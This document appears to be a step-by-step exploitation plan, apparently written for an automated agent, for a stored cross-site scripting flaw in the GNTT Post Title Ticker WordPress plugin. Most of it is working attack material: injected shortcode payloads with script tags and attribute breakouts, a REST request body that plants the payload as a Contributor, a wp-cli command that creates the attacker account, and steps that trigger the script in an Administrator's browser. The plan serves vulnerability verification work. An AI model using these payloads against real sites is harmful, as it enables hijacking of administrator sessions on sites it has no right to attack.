GNTT Post Title Ticker <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the GNTT Post Title Ticker plugin.

1. Vulnerability Summary

• ID: CVE-2026-8701
• Vulnerability Type: Stored Cross-Site Scripting (XSS)
• Component: GNTT Post Title Ticker (<= 1.0)
• Vulnerable Functions: gntt_title_ticker_slide(), gntt_title_ticker_fade(), and gntt_title_ticker_typing().
• Vulnerable Attributes: border, width, height, header_background, header_text_color, and id.
• Cause: Shortcode attributes are concatenated directly into HTML output without being passed through escaping functions like esc_attr() or esc_html(). This allows a user with Contributor-level privileges (who can use shortcodes) to inject malicious scripts into pages.

2. Attack Vector Analysis

• Entry Point: Shortcode injection within a Post or Page content.
• Shortcodes: [title-ticker-slide], [title-ticker-fade], or [title-ticker-typing].
• Vulnerable Parameter: Attributes within the shortcode (e.g., id, width).
• Authentication: Requires a user with at least Contributor privileges (capability edit_posts).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred from Description)

1. Registration: The plugin registers shortcodes via add_shortcode() (likely in the main plugin file or an init hook).
2. Trigger: A user with edit_posts capability creates a post containing a shortcode like [title-ticker-slide width='"><script>alert(1)</script>'].
3. Parsing: When the post is viewed, WordPress calls the associated callback function, e.g., gntt_title_ticker_slide($atts).
4. Processing: Inside the callback, the plugin extracts attributes. It likely uses shortcode_atts() to merge user input with defaults.
5. Sink: The code constructs an HTML string for output. Because it omits esc_attr(), it produces:
   <div width=""><script>alert(1)</script>" ... >
6. Execution: The unescaped payload is rendered in the frontend, executing the script in the context of any user viewing the page.

4. Nonce Acquisition Strategy

This vulnerability does not occur via an AJAX or REST endpoint that requires a custom plugin nonce. Instead, it is exploited through the standard WordPress post-saving mechanism.

• Injection Phase: To inject the shortcode via the API or automated requests, the agent will need a standard WordPress REST API or admin-ajax.php nonce for post creation/editing.
• Extraction: If the agent performs the injection via the browser (Playwright), the browser session handles the _wpnonce automatically.
• Verification: If there is a need to check for localized scripts that might contain nonces (though not required for this specific XSS), use:
  browser_eval("window.gntt_vars?.nonce") (inferred)

5. Exploitation Strategy

The goal is to inject a stored XSS payload as a Contributor and trigger it as an Administrator.

1. Step 1: Authenticate as Contributor: Log into the WordPress dashboard using Contributor credentials.
2. Step 2: Create Malicious Post: Use the http_request tool to create a new post containing the payload.
   • URL: http://[target]/wp-json/wp/v2/posts (or via admin-ajax.php autosave).
   • Method: POST
   • Body:

     {
       "title": "XSS Test",
       "content": "[title-ticker-slide id='\"><script>alert(document.domain)</script>']",
       "status": "publish"
     }
     

   • Note: Contributors' posts usually go to "Pending Review" unless they have publish_posts. However, the XSS will still fire for the Administrator who previews or reviews the post.
3. Step 3: Trigger XSS: Log in as an Administrator and navigate to the newly created post's URL.
4. Step 4: Confirm Execution: Use browser_eval to check if a specific global variable (set by the payload) exists or if an alert was triggered.

6. Test Data Setup

1. Plugin Setup: Ensure gntt-post-title-ticker version 1.0 is installed and activated.
2. User Setup:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Content Setup: (Optional) A page where the shortcode will be displayed.

7. Expected Results

• When the page is viewed, the HTML source should show the id (or width/height) attribute of the ticker container being closed prematurely by the "> characters.
• The <script> tag will follow immediately in the DOM.
• The browser will execute alert(document.domain).

8. Verification Steps

After the exploitation attempt, verify the storage and lack of escaping:

1. Verify DB Storage:

   wp post list --post_type=post --field=post_content | grep "script"
   

2. Verify Frontend Output:
   Use http_request (GET) on the post's permalink and check if the response body contains the raw, unescaped payload:

   # Look for the exact unescaped string
   grep 'id=""><script>alert(document.domain)</script>"'
   

9. Alternative Approaches

If the id attribute is partially sanitized, attempt exploitation through other identified vulnerable attributes:

• Style Injection via header_background:
  [title-ticker-slide header_background='";}</style><script>alert(1)</script>']
• Width/Height Breakout:
  [title-ticker-fade width='100px" onmouseover="alert(1)" data-x="']
• Alternative Shortcodes:
  Repeat the process using [title-ticker-fade] or [title-ticker-typing] callbacks, as they share the same vulnerable pattern.